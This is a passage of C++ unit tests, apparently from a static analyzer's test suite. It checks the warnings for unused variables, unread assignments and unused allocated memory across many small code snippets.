ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" static int x = 0;\\n\"\n \" print(x);\\n\"\n \" if(x > 5)\\n\"\n \" x = 0;\\n\"\n \" else\\n\"\n \" x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo(int value) {\\n\"\n \" static int array[16] = {0};\\n\"\n \" if(array[value]) {}\\n\"\n \" array[value] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int fun() {\\n\" // #11310\n \" static int k;\\n\"\n \" k++;\\n\"\n \" return k;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int& f() {\\n\" // #12935\n \" static int i;\\n\"\n \" return i;\\n\"\n \"}\\n\"\n \"int* g() {\\n\"\n \" static int j;\\n\"\n \" return &j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarextern() {\n functionVariableUsage(\"void foo() {\\n\"\n \" extern int i;\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvardynamic1() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" void* ptr = malloc(16);\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = new char[16];\\n\"\n \" delete[] ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n // extracttests.disable\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = new ( nothrow ) char[16];\\n\"\n \" delete[] ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = new ( std::nothrow ) char[16];\\n\"\n \" delete[] ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n // extracttests.enable\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = new char;\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" void* ptr = malloc(16);\\n\"\n \" ptr[0] = 123;\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = new char[16];\\n\"\n \" ptr[0] = 123;\\n\"\n \" delete[] ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" Fred* fred = new Fred;\\n\"\n \" std::cout << \\\"test\\\" << std::endl;\\n\"\n \" delete fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct Fred { int a; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* fred = new Fred;\\n\"\n \" std::cout << \\\"test\\\" << std::endl;\\n\"\n \" delete fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'fred' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"struct Fred { int a; Fred() : a(0) {} };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* fred = new Fred;\\n\"\n \" std::cout << \\\"test\\\" << std::endl;\\n\"\n \" delete fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'fred' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" Fred* fred = malloc(sizeof(Fred));\\n\"\n \" std::cout << \\\"test\\\" << std::endl;\\n\"\n \" free(fred);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style) Variable 'fred' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char* ptr = names[i];\\n\"\n \" delete[] ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvardynamic2() {\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" ptr->i = 0;\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" ptr->i = 0;\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new Fred();\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n // extracttests.disable\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new (nothrow ) Fred();\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new (std::nothrow) Fred();\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n // extracttests.enable\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new Fred();\\n\"\n \" ptr->i = 0;\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct Fred* ptr = new Fred();\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"struct Fred { int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct Fred* ptr = new Fred();\\n\"\n \" ptr->i = 0;\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class Fred { public: int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"class Fred { public: int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = (Fred*)malloc(sizeof(Fred));\\n\"\n \" ptr->i = 0;\\n\"\n \" free(ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class Fred { public: int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new Fred();\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Variable 'ptr' is allocated memory that is never used. [unusedAllocatedMemory]\\n\", errout_str());\n\n functionVariableUsage(\"class Fred { public: int i; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Fred* ptr = new Fred();\\n\"\n \" ptr->i = 0;\\n\"\n \" delete ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvardynamic3() {\n // Ticket #3467 - False positive that 'data' is not assigned a value\n functionVariableUsage(\"void foo() {\\n\"\n \" int* data = new int[100];\\n\"\n \" int* p = data;\\n\"\n \" for ( int i = 0; i < 10; ++i )\\n\"\n \" p++;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Variable 'p' is modified but its new value is never used.\\n\",\n \"\",\n errout_str());\n }\n\n void localvararray1() {\n functionVariableUsage(\"void foo() {\\n\"\n \" int p[5];\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvararray2() {\n functionVariableUsage(\"int foo() {\\n\"\n \" int p[5][5];\\n\"\n \" p[0][0] = 0;\\n\"\n \" return p[0][0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvararray3() {\n functionVariableUsage(\"int foo() {\\n\"\n \" int p[5][5];\\n\"\n \" *((int*)p[0]) = 0;\\n\"\n \" return p[0][0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvararray4() {\n functionVariableUsage(\"void foo() {\\n\"\n \" int p[1];\\n\"\n \" int *pp[0];\\n\"\n \" p[0] = 1;\\n\"\n \" *pp[0] = p[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvararray5() {\n functionVariableUsage(\"int foo() {\\n\"\n \" int p[5][5];\\n\"\n \" dostuff(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" int p[5];\\n\"\n \" dostuff(*p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" int p[5][5][5];\\n\"\n \" dostuff(**p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #11872\n \" char v[1][2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Unused variable: v [unusedVariable]\\n\", errout_str());\n }\n\n void localvararray6() {\n functionVariableUsage(\"struct S { int* p; };\\n\" // #11012\n \"void g(struct S* ps);\\n\"\n \"void f() {\\n\"\n \" int i[2];\\n\"\n \" struct S s = { i };\\n\"\n \" g(&s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarstring1() { // ticket #1597\n functionVariableUsage(\"void foo() {\\n\"\n \" std::string s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Unused variable: s [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" std::string s;\\n\"\n \" s = \\\"foo\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" std::string s = \\\"foo\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:19]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:17]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo() {\\n\" // #8901\n \" const std::string s = \\\"foo\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:25]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:23]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"std::string foo() {\\n\"\n \" std::string s;\\n\" // Class instances are initialized. Assignment is not necessary\n \" return s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"std::string foo() {\\n\"\n \" std::string s = \\\"foo\\\";\\n\"\n \" return s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::string s(\\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::string s{ \\\"foo\\\" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarstring2() { // ticket #2929\n functionVariableUsage(\"void foo() {\\n\"\n \" std::string s;\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Unused variable: s [unusedVariable]\\n\"\n \"[test.cpp:3:9]: (style) Unused variable: i [unusedVariable]\\n\", errout_str());\n }\n\n void localvarconst1() {\n functionVariableUsage(\"void foo() {\\n\"\n \" const bool b = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:16]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n }\n\n void localvarconst2() {\n functionVariableUsage(\"void foo() {\\n\"\n \" const int N = 10;\\n\"\n \" struct X { int x[N]; };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarreturn() { // ticket #9167\n functionVariableUsage(\"void foo() {\\n\"\n \" const int MyInt = 1;\\n\"\n \" class bar {\\n\"\n \" public:\\n\"\n \" bool operator()(const int &uIndexA, const int &uIndexB) const {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" bar() {}\\n\"\n \" };\\n\"\n \" return MyInt;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarmaybeunused() {\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"[[nodiscard]] int getX() { return 4; }\\n\"\n \"int main() {\\n\"\n \" [[maybe_unused]] int x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"[[nodiscard]] int getX() { return 4; }\\n\"\n \"int main() {\\n\"\n \" [[maybe_unused]] int x = getX();\\n\"\n \" x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"[[nodiscard]] int getX() { return 4; }\\n\"\n \"int main() {\\n\"\n \" [[maybe_unused]] int x = getX();\\n\"\n \" x = getX();\\n\"\n \" std::cout << x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] const int x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] const int& x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] const int* x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] int& x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] int* x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] auto x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] auto&& x = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] int x[] = getX();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] constexpr volatile static int x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"[[maybe_unused]] inline int x = 1;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] [[anotherattribute]] const int* = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int main() {\\n\"\n \" [[maybe_unused]] char a[1];\\n\"\n \" [[maybe_unused]] char b[1][2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarrvalue() { // ticket #13977\n functionVariableUsage(\"void f(void) {\\n\"\n \" std::string s;\\n\"\n \" std::string&& m = std::move(s);\\n\"\n \" cb();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (style) Variable 'm' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarthrow() { // ticket #3687\n functionVariableUsage(\"void foo() {\\n\"\n \" try {}\"\n \" catch(Foo& bar) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localVarStd() {\n // extracttests.start: struct MyClass {int x;}; std::string foo();\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::string x = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:19]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:17]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::vector x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Unused variable: x [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::vector x(100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::vector x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Unused variable: x [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::lock_guard lock(mutex_);\\n\" // Has a side-effect #4385\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" pLocker = std::shared_ptr(new jfxLocker(m_lock, true));\\n\" // Could have side-effects (#4355)\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock lock(m);\\n\" // #4624\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #7732\n \" const std::pair p(\\\"a\\\", \\\"b\\\");\\n\"\n \" std::pair q{\\\"a\\\", \\\"b\\\" };\\n\"\n \" auto r = std::pair(\\\"a\\\", \\\"b\\\");\\n\"\n \" auto s = std::pair{ \\\"a\\\", \\\"b\\\" };\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Variable 'p' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:2:48]: (style) Variable 'p' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4]: (style) Variable 'r' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:18]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\",\n \"[test.cpp:2:48]: (style) Variable 'p' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:42]: (style) Variable 'q' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"void f(std::span s) {\\n\" // #11545\n \" s[0] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct S {\\n\"\n \" std::mutex m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" const ::std::lock_guard g(m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(const std::string& str, int i) {\\n\" // #11879\n \" const std::string s = str;\\n\"\n \" switch (i) {\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localVarClass() {\n functionVariableUsage(\"void f() {\\n\"\n \" Fred f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class C { int x; };\\n\"\n \"void f() {\\n\"\n \" C c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Unused variable: c [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"class ExampleClass\\n\" // #10000\n \"{\\n\"\n \"public:\\n\"\n \" ExampleClass(int xScale, int yScale, int x, int y)\\n\"\n \" : XScale(xScale)\\n\"\n \" , YScale(yScale)\\n\"\n \" , X(x)\\n\"\n \" , Y(y)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" \\n\"\n \" int XScale;\\n\"\n \" int YScale;\\n\"\n \" int X;\\n\"\n \" int Y;\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" ExampleClass ex(1, 2, 3, 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:20:19]: (style) Variable 'ex' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"class C { public: C(int); ~C(); };\\n\"\n \"void f() {\\n\"\n \" C c(12);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localVarSmartPtr() {\n // handling of smart pointers (#9680)\n functionVariableUsage(\"static int s_i = 0;\\n\"\n \"\\n\"\n \"class A {\\n\"\n \"public:\\n\"\n \" ~A() {\\n\"\n \" ++s_i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void func() {\\n\"\n \" auto a = std::make_shared();\\n\"\n \" auto a2 = std::unique_ptr(new A());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class A {\\n\"\n \"public:\\n\"\n \" std::string x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void func() {\\n\"\n \" auto a = std::make_shared();\\n\"\n \" auto a2 = std::unique_ptr(new A());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:8:13]: (style) Variable 'a2' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void g();\\n\" // #11094\n \"void f() {\\n\"\n \" auto p = std::make_unique();\\n\"\n \" p = nullptr;\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f(int *p) {\\n\" // #10703\n \" std::unique_ptr up(p);\\n\"\n \" return *p;\\n\"\n \"}\\n\"\n \"int g(int* p) {\\n\"\n \" auto up = std::unique_ptr(p);\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct S { S(); };\\n\" // #11108\n \"void f(std::unique_ptr p) {\\n\"\n \" p = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // ticket #3104 - false positive when variable is read with \"if (NOT var)\"\n void localvarIfNOT() {\n functionVariableUsage(\"void f() {\\n\"\n \" bool x = foo();\\n\"\n \" if (NOT x) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarAnd() { // #3672\n functionVariableUsage(\"int main() {\\n\"\n \" unsigned flag = 0x1 << i;\\n\"\n \" if (m_errorflags & flag) {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarSwitch() { // #3744 - false positive when used in switch\n functionVariableUsage(\"const char *f(int x) {\\n\"\n \" const char a[] = \\\"abc\\\";\\n\"\n \" const char def[] = \\\"def\\\";\\n\"\n \" const char *ptr;\\n\"\n \" switch(x) {\\n\"\n \" case 1: ptr=a; break;\\n\"\n \" default: ptr=def; break;\\n\"\n \" }\\n\"\n \" return ptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // Don't write an error that \"a\" is not used\n\n functionVariableUsage(\"void x() {\\n\"\n \" unsigned char* pcOctet = NULL;\\n\"\n \" float fValeur;\\n\"\n \" switch (pnodeCurrent->left.pnode->usLen) {\\n\"\n \" case 4:\\n\"\n \" fValeur = (float)pevalDataLeft->data.fd;\\n\"\n \" pcOctet = (unsigned char*)&fValeur;\\n\"\n \" break;\\n\"\n \" case 8:\\n\"\n \" pcOctet = (unsigned char*)&pevalDataLeft->data.fd;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" for (iIndice = 1; iIndice <= (pnodeCurrent->usLen / 2); iIndice++) {\\n\"\n \" *pcData = gacHexChar[(*pcOctet >> 4) & 0x0F];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // Don't write an error that \"fValeur\" is not used\n }\n\n void localvarNULL() { // #4203 - Setting NULL value is not redundant - it is safe\n functionVariableUsage(\"void f() {\\n\"\n \" char *p = malloc(100);\\n\"\n \" foo(p);\\n\"\n \" free(p);\\n\"\n \" p = NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(Foo *p) {\\n\"\n \" free(p);\\n\"\n \" p = (Foo *)NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f() {\\n\" // #11079\n \" std::string s1{ nullptr };\\n\"\n \" std::string s2{ NULL };\\n\"\n \" std::string s4(nullptr);\\n\"\n \" std::string s5(NULL);\\n\"\n \"}\\n\"\n \"struct A { A(void*) {} };\\n\"\n \"static void g() {\\n\"\n \" A a1{ nullptr };\\n\"\n \" A a2{ NULL };\\n\"\n \" A a4(nullptr);\\n\"\n \" A a5(NULL);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Variable 's1' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:19]: (style) Variable 's2' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:19]: (style) Variable 's4' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:19]: (style) Variable 's5' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:9:9]: (style) Variable 'a1' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:10:9]: (style) Variable 'a2' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:11:9]: (style) Variable 'a4' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:12:9]: (style) Variable 'a5' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n }\n\n void localvarUnusedGoto() {\n // #4447\n functionVariableUsage(\"bool f(const int &i) {\\n\"\n \" int X = i;\\n\"\n \"label:\\n\"\n \" if ( X == 0 ) {\\n\"\n \" X -= 101;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" if ( X < 1001 ) {\\n\"\n \" X += 1;\\n\"\n \" goto label;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Variable 'X' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n // #4558\n functionVariableUsage(\"int f() {\\n\"\n \" int i,j=0;\\n\"\n \" start:\\n\"\n \" i=j;\\n\"\n \" i++;\\n\"\n \" j=i;\\n\"\n \" if 